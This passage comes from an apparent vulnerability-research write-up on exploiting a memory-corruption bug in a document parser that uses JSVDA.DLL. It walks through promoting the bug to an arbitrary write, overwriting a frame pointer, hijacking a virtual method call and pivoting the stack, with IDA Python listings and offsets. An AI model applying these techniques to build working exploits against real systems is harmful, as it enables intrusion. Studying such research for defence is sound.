Due to the limit of our scope, with the vulnerability being at the very beginning of the document being parsed, we are restricted in that we must use the vulnerability to load the entirety of our payload within the application’s address space. This implies that we’ll need to promote the primitive 32-bit write to an arbitrary address into a primitive that allows us to write an arbitrary amount of data to an arbitrary address. If we use the same technique of one record with type 5 followed by a record of type 7, this would result in a size cost of six bytes composed of the type, size, and index, followed by 32 bits for the integer or the address (10 bytes in total). Since both record types are being used, the overhead would be 20 bytes for every 32-bit integer that we wish to write. Fortunately, this overhead can be reduced due to there being more space within the lv_wstring(28)_54 field that we can use to store each address that will need to be written to.
The upper bound of the size before __report_rangecheckfailure is 0x42 bytes and we will need to include extra space for the null-terminator at the beginning of the string. This will allow us to load 15 addresses for every type 5 record using 0x46 bytes. Then using a type 7 record for each integer to write will result in the cost being 10 bytes per 32-bit integer, an improvement. To accommodate an amount of data that is not a multiple of 4, we simply write an unaligned 32-bit integer at the end for the extra bytes and proceed to fill the space before as described. After implementing these abstractions in our exploit, the next step is to figure out what to hijack.
Hijacking execution
As we can write anywhere within the address space, we could overwrite some global pointers to hijack execution. But, if we review the code within and around our immediate scope, the only virtual methods that are available to hijack are only used for reading the contents of the current stream being parsed. If we examine the contents of these objects, it turns out that there is absolutely nothing inside them that contains useful data or even pointers that may allow us to corrupt other parts of the application. As such, we need to hope that something we can influence with the contents of the stream resides at a predictable place in memory.
This listing shows the layout of the object used to read data from the stream. As listed, the object has only one field which is the index or handle for the document. Due to the lack of ASLR, we could overwrite one of the virtual method tables that are referenced by this object. However, the only methods that the application uses from this object are used by the same record implementation to parse it. Anything we overwrite will immediately break this object and prevent the application from loading any more data from the document.
Examining the stack also shows that there are not any useful pointers other than one to a global object which is initialized statically and is thus scoped to the application. However, there are frame pointers on the stack that may be used. We will only need to discover a relative reference to one to use it. Due to the nature of how code is executed, we can assume that everything within our vulnerability’s context originates from a caller farther up the stack. Hence, it is either copied out of the heap belonging to another component, entered our scope via some global state, or enters scope as a parameter. We will also need to keep in mind that we are only able to write a 32-bit integer at +0x58, 16-bit integers between +0x34 and +0x60, or a pointer to a structure containing a string at +0x4C relative to our chosen pointer. Hence, we will need to search to find a reference to a frame that allows us to hijack execution within these constraints.
If we capture the call stack at the point of the vulnerability being triggered, we can grab the layout of each frame, and use it to identify any fields that are +0x58 for case 7, or +0x4C - 4 for case 5.
Python> callstack = [0x3be11d03, 0x3be27501, 0x3be278b2, 0x3be2793e, 0x3c1fb083, 0x3c1fb495, 0x3c1fb4ef, 0x3be2795d]
Python> list(map(function.address, callstack))
[0x3be11906, 0x3be27048, 0x3be276be, 0x3be2790a, 0x3c1faf0f, 0x3c1fb3ed, 0x3c1fb4ab, 0x3be27954]
# Exchange each address in the backtrace with the function that owns it.
Python> functions = list(map(function.address, callstack))
Python> pp(list(map(function.name, functions)))
['object_9d0d30::readStyleType(2008)_391906',
'struc_3a9de4::parseStylesContent_3a7048',
'object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be',
'object_9c2044::parseStream(DocumentViewStyles)_3a790a',
'object_9c2044::method_processStreams_77af0f',
'object_9c2044::vmethod_processStreamsTwice_77b3ed',
'object_9e9d90::processDocumentByType_77b4ab',
'sub_3BE27954']
# Grab the frame for each function and align them contiguously.
Python> frames = list(map(func.frame, functions))
Python> contiguous = struc.right(frames[-1], frames[-1:])
# Display all frame pointers along with the offset needed to overwrite them.
Python> for frame in contiguous: print("{:#x} : {}".format(frame.byname(' s').offset - 0x58, frame.byname(' s')))
-0x640 : <member '$ F3BE11906. s' index=22 offset=-0x5e8 size=+0x4 typeinfo='char[4]'>
-0x608 : <member '$ F3BE27048. s' index=3 offset=-0x5b0 size=+0x4 typeinfo='char[4]'>
-0x55c : <member '$ F3BE276BE. s' index=25 offset=-0x504 size=+0x4 typeinfo='char[4]'>
-0x53c : <member '$ F3BE2790A. s' index=0 offset=-0x4e4 size=+0x4 typeinfo='char[4]'>
-0x2cc : <member '$ F3C1FAF0F. s' index=9 offset=-0x274 size=+0x4 typeinfo='char[4]'>
-0x9c : <member '$ F3C1FB3ED. s' index=3 offset=-0x44 size=+0x4 typeinfo='char[4]'>
-0x78 : <member '$ F3C1FB4AB. s' index=0 offset=-0x20 size=+0x4 typeinfo='char[4]'>
-0x60 : <member '$ F3BE27954. s' index=0 offset=-0x8 size=+0x4 typeinfo='char[4]'>
# Gather them into a set.
Python> offsets = set(item.byname(' s').offset - 0x58 for item in contiguous)
# Display each frame and any of its members that contain one of the determined offsets.
Python> for frame in contiguous: print(frame), frame.members.list(offset=offsets), print()
<class 'structure' name='$ F3BE11906' offset=-0x6ac size=0xe4>
[20] -63c+0x50 wchar_t[40] 'lv_wstring(28)_54' [(<class 'int'>, 2), 40]
<class 'structure' name='$ F3BE27048' offset=-0x5c8 size=0x38>
<class 'structure' name='$ F3BE276BE' offset=-0x590 size=0xa8>
[12] -55c:+0x4 int 'var_58' (<class 'int'>, 4)
[20] -53c:+0x28 struc_3a9de4 'lv_struc_38' <class 'structure' name='struc_3a9de4' offset=-0x53c size=0x28> # [note] Wanted object
<class 'structure' name='$ F3BE2790A' offset=-0x4e8 size=0x18>
<class 'structure' name='$ F3C1FAF0F' offset=-0x4d0 size=0x278>
[7] -4a0+0x228 object_2f27f8 'lv_object_22c' <class 'structure' name='object_2f27f8' offset=-0x4a0 size=0x228>
<class 'structure' name='$ F3C1FB3ED' offset=-0x258 size=0x230>
[1] -248+0x200 wchar_t[256] 'lv_wstring_204' [(<class 'int'>, 2), 256]
<class 'structure' name='$ F3C1FB4AB' offset=-0x28 size=0x20>
<class 'structure' name='$ F3BE27954' offset=-0x8 size=0x18>
From this listing, we have only five results, only two of which appear to be pointing to a field that may be referenced. This number of results is small enough to verify manually and we discover that the field, lv_struc_38, which begins at exactly 0x58 bytes from a frame pointer is perfect for our 32-bit write. This field belongs to the frame for the function at 0x3BE276BE which is the method named object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be. Examining the prototypes of the functions called by this method shows that the object appears to only be used by a single method.
# Grab all of the calls for function 0x3BE276BE that do not use a register as its operand.
Python> calls = {ins.op_ref(ref) for ref in function.calls(0x3BE276BE) if not isinstance(ins.op(ref), register_t)}
# List all functions that we selected.
Python> db.functions.list(typed=True, ea=calls)
[0] +0x109b2a : 0x3bb89b2a..0x3bb89b9e : (1) FvD+ : __thiscall object_10cbd2::get_field(3c)_109b2a : lvars:1c args:2 refs:100 exits:1
[1] +0x1329ce : 0x3bbb29ce..0x3bbb29e8 : (1) Fvt+ : __cdecl object_OSEG::setCurrentStreamPosition_1329ce : lvars:00 args:5 refs:182 exits:1
[2] +0x132a07 : 0x3bbb2a07..0x3bbb2a15 : (1) Fvt+ : __cdecl object_OSEG::destroy_132a07 : lvars:00 args:1 refs:270 exits:1
[3] +0x132de4 : 0x3bbb2de4..0x3bbb2e41 : (1) FvT+ : __cdecl object_OFRM::openStreamByName?_132de4 : lvars:08 args:4 refs:144 exits:1
[4] +0x1a9adb : 0x3bc29adb..0x3bc29bff : (1) FvD+ : __thiscall sub_3BC29ADB : lvars:68 args:1 refs:7 exits:1
[5] +0x1cbf85 : 0x3bc4bf85..0x3bc4c3f2 : (1) FvD+ : __thiscall sub_3BC4BF85 : lvars:6c args:2 refs:6 exits:1
[6] +0x1d5697 : 0x3bc55697..0x3bc558b7 : (1) FvD+ : __thiscall object_9bd120::method_1d5697 : lvars:8c args:1 refs:6 exits:1
[7] +0x2198ca : 0x3bc998ca..0x3bc9998f : (1) FvD+ : __thiscall sub_3BC998CA : lvars:28 args:4 refs:38 exits:1
[8] +0x3a7048 : 0x3be27048..0x3be27664 : (1) FvT+ : __thiscall struc_3a9de4::parseStylesContent_3a7048 : lvars:18 args:7 refs:2 exits:1
[9] +0x3a7664 : 0x3be27664..0x3be276be : (1) FvT+ : __cdecl object_OSEG::read_ushort_3a7664 : lvars:1c args:2 refs:90 exits:1
[10] +0x3a9547 : 0x3be29547..0x3be2955d : (1) FvD+ : __thiscall sub_3BE29547 : lvars:00 args:3 refs:5 exits:1
[11] +0x3a9638 : 0x3be29638..0x3be2963b : (1) FvD+ : __unknown return_3a9638 : lvars:00 args:0 refs:30 exits:1
[12] +0x3a9de4 : 0x3be29de4..0x3be29e05 : (1) FvD* : __thiscall constructor_3a9de4 : lvars:00 args:1 refs:7 exits:1
[13] +0x7b15a6 : 0x3c2315a6..0x3c23161a : (1) FvD+ : __thiscall object_10cbd2::get_field(38)_7b15a6 : lvars:1c args:2 refs:36 exits:1
[14] +0x7b9e07 : 0x3c239e07..0x3c239e7c : (1) FvD+ : __thiscall object_10cbd2::get_field(34)_7b9e07 : lvars:1c args:2 refs:98 exits:1
[15] +0x8ea4fd : 0x3c36a4fd..0x3c36a50e : (1) LvD+ : __unknown __EH_epilog3_GS : lvars:00 args:0 refs:2546 exits:0
# Grab all our results that are typed, and emit their prototype.
Python> for ea in db.functions(tag='__typeinfo__', ea=calls): print(function.tag(ea, '__typeinfo__'))
object_9bd184 *__thiscall object_10cbd2::get_field(3c)_109b2a(object_10cbd2 *this, __int16 avw_0)
int __cdecl object_OSEG::setCurrentStreamPosition_1329ce(JSVDA::object_OSEG *ap_oseg_0, int av_low_4, int av_high_8, int av_reset?_c, __int64 *ap_resultOffset_10)
int __cdecl object_OSEG::destroy_132a07(JSVDA::object_OSEG *ap_oseg_0)
int __cdecl object_OFRM::openStreamByName?_132de4(JSVDA::object_OFRM *ap_oframe_0, char *ap_streamName_4, int av_flags_8, JSVDA::object_OSEG **)
int __thiscall sub_3BC29ADB(object_9bd0e4 *this)
int __thiscall sub_3BC4BF85(object_9bd184 *this, int a2)
int __thiscall object_9bd120::method_1d5697(object_9bd120 *this)
int __thiscall sub_3BC998CA(object_9bd0e4 *this, int av_length_0, int av_field_4, int av_neg1_8)
int __thiscall struc_3a9de4::parseStylesContent_3a7048(struc_3a9de4 *this, JSVDA::object_OSEG *ap_oseg_0, int av_position(lo)_4, int av_position(hi)_8, int av_currentStreamState?_c, frame_3a7048_arg_10 ap_unkobjectunion_10, frame_3a7048_arg_14 ap_nullunion_14)
int __cdecl object_OSEG::read_ushort_3a7664(JSVDA::object_OSEG *ap_this_0, _WORD *ap_result_4)
_DWORD *__thiscall sub_3BE29547(_DWORD *this, __int16 arg_0, int arg_4)
void return_3a9638()
struc_3a9de4 *__thiscall constructor_3a9de4(struc_3a9de4 *this)
object_9bd120 *__thiscall object_10cbd2::get_field(38)_7b15a6(object_10cbd2 *this, __int16 avw_noCreate_0)
object_9bd0e4 *__thiscall object_10cbd2::get_field(34)_7b9e07(object_10cbd2 *this, __int16)
void __EH_epilog3_GS)
# Only this prototype references our object as its "this" parameter.
int __thiscall struc_3a9de4::parseStylesContent_3a7048(struc_3a9de4 *this, JSVDA::object_OSEG *ap_oseg_0, int av_position(lo)_4, int av_position(hi)_8, int av_currentStreamState?_c, frame_3a7048_arg_10 ap_unkobjectunion_10, frame_3a7048_arg_14 ap_nullunion_14)
From the results in the listing, it seems that the struc_3a9de4::parseStylesContent_3a7048 method references our desired type as its this parameter. During review of the struc_3a9de4::parseStylesContent_3a7048 method, the object represented by this is stored in the %edi register. Our goal is now to find a pointer to this structure either by being directly referenced or through the %edi register from this method. To find a candidate, we can manually walk from the call stack and enumerate all the places where the type is used, or we can utilize a debugger to monitor the places that reference anything within the structure. Fortunately, our search space is relatively small and we can easily find it in the following listing.
If we examine the caller of the object_9d0d30::readStyleType(2008)_391906, and traverse backward from it, the first call instruction that we encounter calls a method named object_9c2d50::create_field(64)_6bf3a6. This method is also called on the condition that a field, object_9c2d50::v_data_4::p_object_60 is initialized as zero. The relevant path from the beginning of the encompassing method to the conditionally called method is shown in the prior listing.
Due to both the object_9c2d50::create_field(64)_6bf3a6 and object_9d0d30::readStyleType(2008)_391906 functions being called by the same function, their frames are guaranteed to overlap. We aim to identify a function that preserves the %edi register as part of its prolog by performing a breadth-first search from the struc_3a9de4::parseStylesContent_3a7048 method and using the results to build a list of candidate call stacks that could be filtered.
The following listing combines the call stack from the scope of the vulnerability to identify the candidate range to use when filtering the results. In this listing, the range is from -0xAC to -0x58. By applying this filter to our candidates, we discover that the prolog for function 0x3BDFD8F8 stores several registers within this range. One of these registers is our desired %edi register, which is at offset -0xA4 in our listing. This overlaps with the lv_wstring(28)_54 field belonging to our vulnerable function's frame.
# Assign the callstacks that we will be comparing.
callstack_for_vulnerability = [0x3be11906, 0x3be27048]
callstack_for_conditional = [0x3c36a51f, 0x3bdfd8f8, 0x3c13f3a6, 0x3be27048]
# Print out the first layout (right-aligned to offset 0).
Python> [frame.members for frame in struc.right(0, map(function.frame, callstack_for_vulnerability))]
[<class 'structure' name='$ F3BE11906' offset=-0x11c size=0xe4>
-11c+0x10 [None, 16]
[0] -10c+0x4 int 'var_B4' (<class 'int'>, 4)
[1] -108+0x4 int 'var_B0' (<class 'int'>, 4)
[2] -104+0x2 __int16 'var_AC' (<class 'int'>, 2)
...
[8] -c+0x4 int 'av_currentStreamState?_c' (<class 'int'>, 4) # [note] usually 2, and seems to be only used during function exit
[9] -8+0x4 frame_3a7048_arg_10 'ap_unkobjectunion_10' <class 'union' name='frame_3a7048_arg_10' offset=-0x8 size=0x4>
[10] -4+0x4 frame_3a7048_arg_14 'ap_boxunion_14' <class 'union' name='frame_3a7048_arg_14' offset=-0x4 size=0x4>] # [note] used by types 0x2008 and 0x2010
# Print out the second layout (right-aligned to offset 0).
Python> [frame.members for frame in struc.right(0, map(function.frame, callstack_for_conditional)))]
[<class 'structure' name='$ F3C36A51F' offset=-0x98 size=0x8>
[0] -98+0x4 char[4] ' r' [(<class 'int'>, 1), 4]
[1] -94+0x4 int 'arg_0' (<class 'int'>, 4), <class 'structure' name='$ F3BDFD8F8' offset=-0x90 size=0x30>
-90+0x10 [None, 16]
[0] -80+0x4 int 'var_10' (<class 'int'>, 4)
...
[5] -18+0x4 JSVDA::object_OSEG* 'ap_oseg_0' (<class 'type'>, 4)
[6] -14+0x4 int 'av_position(lo)_4' (<class 'int'>, 4)
[7] -10+0x4 int 'av_position(hi)_8' (<class 'int'>, 4)
[8] -c+0x4 int 'av_currentStreamState?_c' (<class 'int'>, 4) # [note] usually 2, and seems to be only used during function exit
[9] -8+0x4 frame_3a7048_arg_10 'ap_unkobjectunion_10' <class 'union' name='frame_3a7048_arg_10' offset=-0x8 size=0x4>
[10] -4+0x4 frame_3a7048_arg_14 'ap_boxunion_14' <class 'union' name='frame_3a7048_arg_14' offset=-0x4 size=0x4>] # [note] used by types 0x2008 and 0x2010
# Emit the members from the vulnerability's backtrace that are worth dereferencing.
Python> [frame.members.list(bounds=(-0xc4, -0x58)) for frame in struc.right(0, map(function.frame, callstack_for_vulnerability))]
[19] -c4:+0x18 object_9d15a0*[6] 'lv_objects(6)_6c' [(<class 'type'>, 4), 6]
[20] -ac:+0x50 wchar_t[40] 'lv_wstring(28)_54' [(<class 'int'>, 2), 40]
[21] -5c:+0x4 int 'var_4' (<class 'int'>, 4)
# Emit the members within the other backtrace that overlaps "lv_wstring(28)_54".."var_4".
Python> [frame.members.list(bounds=(-0xac, -0x58)) for frame in struc.right(0, map(function.frame, callstack_for_conditional))]
[2] -ac:+0x4 int 'var_14' (<class 'int'>, 4)
[3] -a8:+0x4 int 'lv_canary_10' (<class 'int'>, 4)
[4] -a4:+0x4 int 'lv_reg(edi)_c' (<class 'int'>, 4)
[5] -a0:+0x4 int 'lv_reg(esi)_8' (<class 'int'>, 4)
[6] -9c:+0x4 int 'lv_reg(ebx)_4' (<class 'int'>, 4)
[7] -98:+0x4 char[4] ' r' [(<class 'int'>, 1), 4]
[8] -94:+0x4 int 'arg_0' (<class 'int'>, 4)
[0] -80:+0x4 int 'var_10' (<class 'int'>, 4)
[1] -74:+0x4 int 'var_4' (<class 'int'>, 4)
[2] -70:+0x4 char[4] ' s' [(<class 'int'>, 1), 4]
[3] -6c:+0x4 char[4] ' r' [(<class 'int'>, 1), 4]
[4] -68:+0x4 int 'ap_owner_0' (<class 'int'>, 4)
[5] -64:+0x4 int 'ap_owner_4' (<class 'int'>, 4)
There is a caveat, however, due to the object_9c2d50::create_field(64)_6bf3a6 method only being called when the object_9c2d50.v_data_4.p_object_60 field is initialized with 0x00000000. Hence, we will use the decompiler to locate all known global references to this field within our scope and use them to determine if there is some way that we may initialize this value.
Unfortunately from these results, it turns out that the object_9c2d50.v_data_4.p_object_60 field is only initialized upon entry and exit and requires that this object is not constructed by any of the other record types. Verifying this using the debugger shows that this condition prevents us from using any of the other available record types that were necessary to leverage this path.
However, there are still more candidates we can go through. Another is at the first function call inside struc_3a9de4::parseStylesContent_3a7048. This descends into the struc_3a9de4::readBoxHeader?_3a6fae function, which then depends on a method defined within the JSVDA.DLL library. The prolog of this method also pushes the %edi register onto the stack. If we set a memory access breakpoint on writing to this address and modify our document to avoid hitting any of the other conditionals that we’ve identified within the function, we can confirm that the preserved reference to lv_struc_38 is accessible to us within our desired range.
Finally, we’ve been able to expand the capabilities of our vulnerability, which was originally an out-of-bounds array index, to a relative dereference with a 32-bit write. Then we reused some of the capabilities within the function that contained the vulnerability to promote the vulnerability into an arbitrary length write to an absolute address. Afterward, we leveraged the control flow to allow us to perform a frame-pointer overwrite for the frame preserved by the object_9c2044::parseStream(DocumentEditStyles)_3a6cb2 method which belongs to its caller, the object_9c2044::method_processStreams_77af0f method. After the application has parsed our steam and returns to this method, we should have control of the frame pointer and the method’s local variables as a consequence. This should enable us to hijack execution more elegantly and still allow us to repair the damage that we’ve done with our vulnerability.
Hijacking frame pointer
Once we’ve developed the ability to control a frame pointer for a method that is still within our scope of processing our document, we can examine the frame and determine what might be available for us to modify with our present capabilities. The frame that we’ve overwritten in the prior section shows that we'll be able to control only a few variables. Unfortunately, at this point, the stream that we used to exercise the vulnerability has been closed, and if we tamper with this frame directly and the method ends up completing execution, the epilog of the function will fail due to its canary check resulting in fast-termination and process exit.
# List the frame belonging to the caller of the function containing the vulnerability.
<class 'structure' name='$ F3C1FAF0F' offset=-0x264 size=0x278>
[0] -264+0x4 int 'var_25C' (<class 'int'>, 4)
[1] -260+0x4 int 'var_258' (<class 'int'>, 4)
[2] -25c+0x4 int 'var_254' (<class 'int'>, 4)
[3] -258+0x4 int 'var_250' (<class 'int'>, 4)
[4] -254+0x18 frame_77af0f::field_24c 'lv_struc_24c' <class 'structure' name='frame_77af0f::field_24c' offset=-0x254 size=0x18>
[5] -23c+0x4 int 'lp_stackObject_234' (<class 'int'>, 4)
[6] -238+0x4 JSVDA::object_OFRM* 'lp_oframe_230' (<class 'type'>, 4)
[7] -234+0x228 object_2f27f8 'lv_object_22c' <class 'structure' name='object_2f27f8' offset=-0x234 size=0x228>
[8] -c+0x4 int 'lv_result_4' (<class 'int'>, 4)
[9] -8+0x4 char[4] ' s' [(<class 'int'>, 1), 4]
[10] -4+0x4 char[4] ' r' [(<class 'int'>, 1), 4]
[11] 0+0x4 JSVDA::object_OFRM* 'ap_oframe_0' (<class 'type'>, 4)
[12] 4+0x4 unsigned int 'av_documentType_4' (<class 'int'>, 4)
[13] 8+0x4 unsigned int 'av_flags_8' (<class 'int'>, 4)
[14] c+0x4 struc_79aa9a* 'ap_stackobject_c' (<class 'type'>, 4)
[15] 10+0x4 int 'ap_null_10' (<class 'int'>, 4)
# The object located at offset -0x238 of the frame.
<class 'structure' name='JSVDA::object_OFRM' size=0x8> // [alloc.tag] OFRM
[0] 0+0x4 int 'p_vftable_0' (<class 'int'>, 4) // [vftable] 0x278186F0
[1] 4+0x4 int 'v_index_4' (<class 'int'>, 4) // {'note': 'object_117c5 handle', 'alloc.tag': 'MFCM', '__name__': 'v_index_4'}
This listing shows the contents of the object that we’ll be using. As previously mentioned, it contains a single field and is used to read from the document. This field is an integer representing an index into an array of objects within an entirely different module. Each object from this external array is an opened document which varies depending on the usage of the application. Hence, this field can be treated as a handle that might not be forgeable without knowledge of the contents of the module or the actions the user has already made.
However, we do have control of this object’s virtual method table reference, and since we haven't completely broken the application yet, we can capture the handle from elsewhere and use it to re-forge this object at a later stage once we've earned control of the stack. After this, we can then repair the frame during our loader to remain in good standing with the application.
The first place we'll be able to hijack execution is when the object owning the virtual method table that we’re taking control of is used to open up the next stream. The code that is listed shows the scope during which we control the frame pointer. In our exploit, this is where we hijack execution and completely pivot to a stack that we control to complete the necessary tasks for loading executable code into the address space.
In the listing, we descend through the different methods that get called during execution until we reach a virtual method named JSVDA::object_OFRM::method_openStream_2b5c5. This method is dereferenced and then called to open up the next stream from the document. This is the virtual method that we will be using to hijack execution.
The JSVDA::object_OFRM::method_openStream_2b5c5 virtual method belongs to the JSVDA.DLL module and takes six parameters before being called. This will need to be taken into account during our repurposing. As the stack will be adjusted by the implementation pushing said parameters and the preserved return address onto the stack, we will be required to include this adjustment in our new frame.
At this point, we have everything we need to execute code. However, we’ll need some way to resume execution after our instructions have been executed. To accomplish this, we’ll need to pivot the stack to one that we control. Generally, there are two ways in which we can pivot the stack. One way is to find a predictable address that we can write the addresses into, and then use a pivot that lets us perform an explicit assignment of that address to the %esp register. Another way is to adjust the %esp register to reference a part of the stack where we control its contents. To avoid having to write another contiguous chunk of data to a some known location using the vulnerability, the latter methodology was chosen as the primary candidate.
Pivoting Stack Pointer
Although we control a frame pointer and can use it to assign an arbitrary value to the instruction pointer, we do not have a clear way to execute multiple sequences of instructions to load executable code from our document. Hence, we need some way to set the stack pointer to a block of memory that we can use to resume execution after executing each chunk required to load our payload.
As mentioned previously, the vulnerability occurs within the very first stream that is parsed by the target. Hence, due to our document not being able to influence much in the application, it is necessary to find logic within the stream parser to satisfy our needs. As we’re attempting to execute code residing at multiple locations within a module, we’ll need some logic within the stream parsing implementation that can be used to load a large amount of our data into the application’s stack. To discover this, we can use a quick script at the entry point of the style record parser to enumerate all of the functions being called and identify the ones that have the large size allocated for its frame.
In the following query, it appears that object_9c2044::readStyleType(1000)_4d951d is a likely candidate. Through manual reversing of the method, we can prove that its implementation allocates 0x18C8 bytes on the stack and reads 0x1000 bytes from its associated record directly into this allocated buffer.
At this point, we can adjust the proof-of-concept for the vulnerability to include the 0x1000 record type. Then we can set a breakpoint on the method to prove that it is being executed during runtime. After setting the breakpoint, however, the method does not get executed. Instead, another function, object_9e5ffc::readStyleType(1000)_1b6bf7, is called to read record type 0x1000. After reversing the contents of this method, we are fortunate in that it uses a different methodology to allocate 0x1020 bytes on the stack. This likely would have been found if we had expanded our query as in the following listing.
# Define a few temporary functions.
def guess_prolog(f, minimum):
'''Use the stackpoints to guess the prolog by searching for a minimum. Right way would be to check "$ ignore micro"...'''
fn, start = func.by(f), func.address(f)
iterable = (ea for ea, delta in func.chunks.stackpoints(f) if abs(idaapi.get_sp_delta(fn, ea)) > minimum)
return start, next(iterable, start)
# No register calls
filter_out_register = lambda opref: not isinstance(ins.op(opref), register_t)
# Use itertools.chain to flatten results through db.functions
flatten_calls = lambda fs: set(itertools.chain(fs, db.functions(ea=filter(func.has, map(ins.op_ref, itertools.chain(*map(func.calls, fs)))))))
# Start at style record parser, flatten the first layer of calls.
Python> f = db.a('struc_3a9de4::parseStylesContent_3a7048')
Python> db.functions.list(ea=flatten_calls(flatten_calls(func.calls(f))))
[0] +0x00140c : 0x3ba8140c..0x3ba81412 : (1) J-D* : __thiscall JSFC_2094 : lvars:0000 args:8 refs:2256 exits:0
[1] +0x089368 : 0x3bb09368..0x3bb0936e : (1) J-D* : __stdcall JSFC_5190 : lvars:0000 args:2 refs:25 exits:0
[2] +0x090e42 : 0x3bb10e42..0x3bb10e48 : (1) J-D* : __thiscall JSFC_5438 : lvars:0000 args:3 refs:32 exits:0
[3] +0x0915ea : 0x3bb115ea..0x3bb115f0 : (1) J-D* : __thiscall JSFC_3583 : lvars:0000 args:2 refs:620 exits:0
...
[120] +0x8ea58a : 0x3c36a58a..0x3c36a5c1 : (1) LvD+ : __usercall __EH_prolog3_catch : lvars:0000 args:1 refs:1613 exits:1
[121] +0x8ea600 : 0x3c36a600..0x3c36a62d : (1) LvD+ : __usercall __alloca_probe : lvars:0000 args:2 refs:1082 exits:1
[122] +0x8ea914 : 0x3c36a914..0x3c36a920 : (1) LvD+ : __unknown ___report_rangecheckfailure : lvars:0000 args:0 refs:104 exits:2
# Filter those 123 functions looking for one with a large frame size.
Python> db.functions.list(ea=flatten_calls(func.calls(f)), frame=True, predicate=lambda f: func.frame(f).size > 0x1000)
[0] +0x4d951d : 0x3bf5951d..0x3bf5958a : (1) FvD* : __cdecl object_9c2044::readStyleType(1000)_4d951d : lvars:18d4 args:4 refs:1 exits:1
# Search another layer deeper.
Python> db.functions.list(ea=flatten_calls(flatten_calls(func.calls(f))), frame=True, predicate=lambda f: func.frame(f).size > 0x1000)
[0] +0x1b6d66 : 0x3bc36d66..0x3bc36e26 : (1) F?D+ : __cdecl object_OSEG::method_readHugeBuffer(1000)_1b6d66 : lvars:1020 args:7 refs:2 exits:1
[1] +0x4d951d : 0x3bf5951d..0x3bf5958a : (1) FvD* : __cdecl object_9c2044::readStyleType(1000)_4d951d : lvars:18d4 args:4 refs:1 exits:1
[2] +0x77ad4b : 0x3c1fad4b..0x3c1fae93 : (1) FvD+ : __thiscall sub_3C1FAD4B : lvars:1074 args:1 refs:1 exits:1
# 3 results. Record type 0x1000 looks like it's worth considering (and hence was named as such).
We can confirm this method satisfies our requirements during runtime by setting a breakpoint on this method and verifying that the object_9e5ffc::readStyleType(1000)_1b6bf7 method loads 0x1000 bytes of data from the stream onto the stack.
Now that we’ve found a candidate with the ability to read a large amount of data from the stream into its frame, we’ll need to know how much to adjust the stack pointer to reach it. To determine this value, we'll need to calculate the distance between the offset of the 0x1000-sized buffer, and the value of the stack pointer at the time that we intend to control execution. The backtrace of both these points intersect in the method at 0x3C1FAF0F, object_9c2044::method_processStreams_77af0f. Thus, we will only need the distance from the frame belonging to that function.
# Backtraces for the function where we hijack execution and where we can allocate a huge stack buffer.
Python> hijack_backtrace = [0x3bbb2de4, 0x3be276be, 0x3be26cb2, 0x3c1faf0f, 0x3c1fb3ed, 0x3c1fb4ab, 0x3be27954]
Python> huge_backtrace = [0x3bc36d66, 0x3bc36bf7, 0x3be27048, 0x3be276be, 0x3be26cb2, 0x3c1faf0f, 0x3c1fb3ed, 0x3c1fb4ab, 0x3be27954]
Python> diffindex = next(index for index, (L1,L2) in enumerate(zip(hijack_backtrace[::-1], huge_backtrace[::-1])) if L1 != L2)
Python> assert(hijack_backtrace[-diffindex] == huge_backtrace[-diffindex])
# Use the index as the common function call, and grab all the frames that are distinct.
Python> commonframe = func.frame(hijack_backtrace[-diffindex])
Python> hijack, huge = (listmap(func.frame, items) for items in [hijack_backtrace[:-diffindex], huge_backtrace[:-diffindex]])
# Display the functions belonging to the callstacks where we want to hijack execution,
# and the function to use for allocating a large amount of data from the document.
Python> pp(listmap(fcompose(func.by, func.name), hijack + [commonframe])[::-1])
['object_9c2044::method_processStreams_77af0f',
'object_9c2044::parseStream(DocumentEditStyles)_3a6cb2',
'object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be',
'object_OFRM::openStreamByName?_132de4']
Python> pp(listmap(fcompose(func.by, func.name), huge + [commonframe])[::-1])
['object_9c2044::method_processStreams_77af0f',
'object_9c2044::parseStream(DocumentEditStyles)_3a6cb2',
'object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be',
'struc_3a9de4::parseStylesContent_3a7048',
'object_9e5ffc::readStyleType(1000)_1b6bf7',
'object_OSEG::method_readHugeBuffer(1000)_1b6d66']
# Display the frame belonging to the function triggering the vulnerability. We will be hijacking the return
# pointer inside this frame at -0xA8 from the frame for `object_9c2044::method_processStreams_77af0f`.
Python> struc.right(commonframe, [frame.members for frame in hijack])[0]
<class 'structure' name='$ F3BBB2DE4' offset=-0xb4 size=0x20>
[0] -b4+0x2 __int16 'anonymous_0' (<class 'int'>, 2)
-b2+0x2 [None, 2]
[1] -b0+0x4 int 'var_4' (<class 'int'>, 4)
[2] -ac+0x4 char[4] ' s' [(<class 'int'>, 1), 4]
[3] -a8+0x4 char[4] ' r' [(<class 'int'>, 1), 4]
[4] -a4+0x4 JSVDA::object_OFRM* 'ap_oframe_0' (<class 'type'>, 4)
[5] -a0+0x4 char* 'ap_streamName_4' (<class 'type'>, 4)
[6] -9c+0x4 int 'av_flags_8' (<class 'int'>, 4)
[7] -98+0x4 JSVDA::object_OSEG** 'ap_result_c' (<class 'type'>, 4)
# Display the frame belonging to the function that we can use for loading a large
# amount of data from the document. Our data is loaded at -0x114C from the common frame.
Python> struc.right(commonframe, [frame.members for frame in huge])[0]
<class 'structure' name='$ F3BC36D66' offset=-0x1168 size=0x1044>
-1168+0xc [None, 12]
[0] -115c+0x4 int 'var_1014' (<class 'int'>, 4)
[1] -1158+0x4 int 'var_1010' (<class 'int'>, 4)
[2] -1154+0x4 int 'var_100C' (<class 'int'>, 4)
[3] -1150+0x4 box_header 'lv_boxHeader_1008' <class 'structure' name='box_header' offset=-0x1150 size=0x4>
[4] -114c+0x1000 char[4096] 'lv_buffer(1000)_1004' [(<class 'int'>, 1), 4096]
[5] -14c+0x4 int 'lv_canary_4' (<class 'int'>, 4)
[6] -148+0x4 char[4] ' s' [(<class 'int'>, 1), 4]
[7] -144+0x4 char[4] ' r' [(<class 'int'>, 1), 4]
[8] -140+0x4 JSVDA::object_OSEG* 'ap_oseg_0' (<class 'type'>, 4)
[9] -13c+0x4 int 'av_size_4' (<class 'int'>, 4)
[10] -138+0x4 int* 'ap_resultSize_8' (<class 'type'>, 4)
[11] -134+0x4 object_9e5ffc::data* 'ap_unused_c' (<class 'type'>, 4)
[12] -130+0x4 JSFC::CPtrArray** 'ap_ptrArray_10' (<class 'type'>, 4)
